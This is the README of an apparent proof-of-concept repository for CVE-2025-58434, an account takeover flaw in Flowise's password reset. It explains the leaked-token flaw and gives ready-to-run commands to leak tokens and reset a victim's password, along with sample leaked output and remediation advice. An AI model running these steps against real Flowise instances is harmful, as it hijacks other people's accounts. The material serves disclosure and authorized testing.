CVE-2025-58434 — Flowise Account Takeover via Token Disclosure

⚠️ This repository is for educational and authorized security research only.
Unauthorized use against systems you do not own or have explicit permission to test is illegal.

Table of Contents

• Overview
• Vulnerability Details
• Attack Flow
• Affected Versions
• Repository Structure
• Requirements
• Installation
• Usage
• Example Output
• Remediation
• Disclosure Timeline
• References
• Disclaimer

Overview

The forgot-password endpoint in Flowise (both cloud-hosted and self-hosted) returns a valid password reset token (tempToken) directly in the HTTP response body — without any email verification or authentication.

This means an attacker who knows (or can guess) a victim's email address can:

1. Call the forgot-password endpoint → receive the tempToken in the JSON response
2. Use the tempToken to call reset-password → set an arbitrary new password
3. Log in as the victim → full account takeover (ATO)

No prior access, no user interaction, and no email access is required.

Vulnerability Details

Root Cause

The forgot-password handler returns the entire user record — including the generated tempToken — directly in the API response instead of only sending it to the user's registered email address.

{
  "user": {
    "id": "<uuid>",
    "name": "Victim Name",
    "email": "[email protected]",
    "credential": "<bcrypt-hash>",
    "tempToken": "<LEAKED_TOKEN_HERE>",
    "tokenExpiry": "2025-08-19T13:00:33.834Z",
    "status": "active"
  }
}

Attack Flow

Attacker                              Flowise API
   │                                       │
   │  POST /forgot-password {email}        │
   │──────────────────────────────────────►│
   │                                       │  (generates tempToken)
   │◄──────────────────────────────────────│
   │  201 { tempToken: "abc123..." }       │
   │                                       │
   │  POST /reset-password {email,         │
   │         tempToken, newPassword}       │
   │──────────────────────────────────────►│
   │                                       │
   │◄──────────────────────────────────────│
   │  200 OK  (password changed!)          │
   │                                       │
   ✓  Account Takeover Complete

Affected Versions

• Flowise Cloud (cloud.flowiseai.com) — confirmed affected
• All self-hosted Flowise deployments prior to the patch

Check the official Flowise GitHub for patched release information.

Repository Structure

CVE-2025-58434/
├── cve_2025_58434_poc.py   # Main PoC script (two-stage ATO)
├── requirements.txt         # Python dependencies
├── README.md                # This file
└── DISCLAIMER.md            # Legal notice (read before use)

Requirements

• Python 3.7 or higher
• requests library

Installation

# Clone the repository
git clone https://github.com/yourhandle/CVE-2025-58434
cd CVE-2025-58434

# Install dependencies
pip install -r requirements.txt

Usage

Help Screen

python3 cve_2025_58434_poc.py --help

Stage 1 — Leak the Token (Reconnaissance)

Confirm the instance is vulnerable and retrieve the tempToken without resetting any password.

python3 cve_2025_58434_poc.py \
  --url https://flowise.example.com \
  --email [email protected]

Stage 2 — Full Account Takeover

Use the leaked token to reset the password immediately.

python3 cve_2025_58434_poc.py \
  --url https://flowise.example.com \
  --email [email protected] \
  --reset \
  --new-password "MyNewP@ss2025!"

Dump Raw JSON Response

python3 cve_2025_58434_poc.py \
  --url https://flowise.example.com \
  --email [email protected] \
  --json-output

All Options

Example Output

  [Step 1] Sending forgot-password request …
  [*] HTTP Status : 201

  ========================================================================
    LEAKED ACCOUNT DATA
  ========================================================================
    User ID       : 3fa1c2d4-xxxx-xxxx-xxxx-xxxxxxxxxxxx
    Name          : Admin User
    Email         : [email protected]
    Credential    : $2b$10$xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
    Status        : active
    tempToken     : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
    tokenExpiry   : 2025-08-19T13:00:33.834Z
  ========================================================================

  [+] tempToken obtained  : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
  [!] VULNERABLE: The instance leaks password reset tokens unauthenticated!

Remediation

If you are a Flowise instance operator, apply the following mitigations immediately:

1. Never return reset tokens in API responses. Send the token exclusively via the registered email address.
2. Return a generic success message from forgot-password regardless of whether the email exists — this also prevents account enumeration.
3. Enforce token constraints:
   • Single-use (invalidate after first use)
   • Short expiry (e.g., 15 minutes)
   • Tied to the requesting IP / User-Agent where possible
4. Apply the fix to all deployment models — cloud and self-hosted.
5. Add rate limiting to the forgot-password endpoint.
6. Log and alert on abnormal password reset activity.
7. Consider MFA for administrator and high-privilege accounts.

Disclosure Timeline

References

• GitHub Advisory GHSA-wgpv-6j63-x5ph
• NVD — CVE-2025-58434
• Flowise GitHub Repository
• CWE-640: Weak Password Recovery Mechanism

Disclaimer

This project is intended solely for educational purposes and authorized penetration testing.

• Do NOT run this tool against any system without explicit written permission from the system owner.
• The author(s) of this repository accept no responsibility for any misuse, damage, or legal consequences arising from unauthorized use.
• See DISCLAIMER.md for the full legal notice.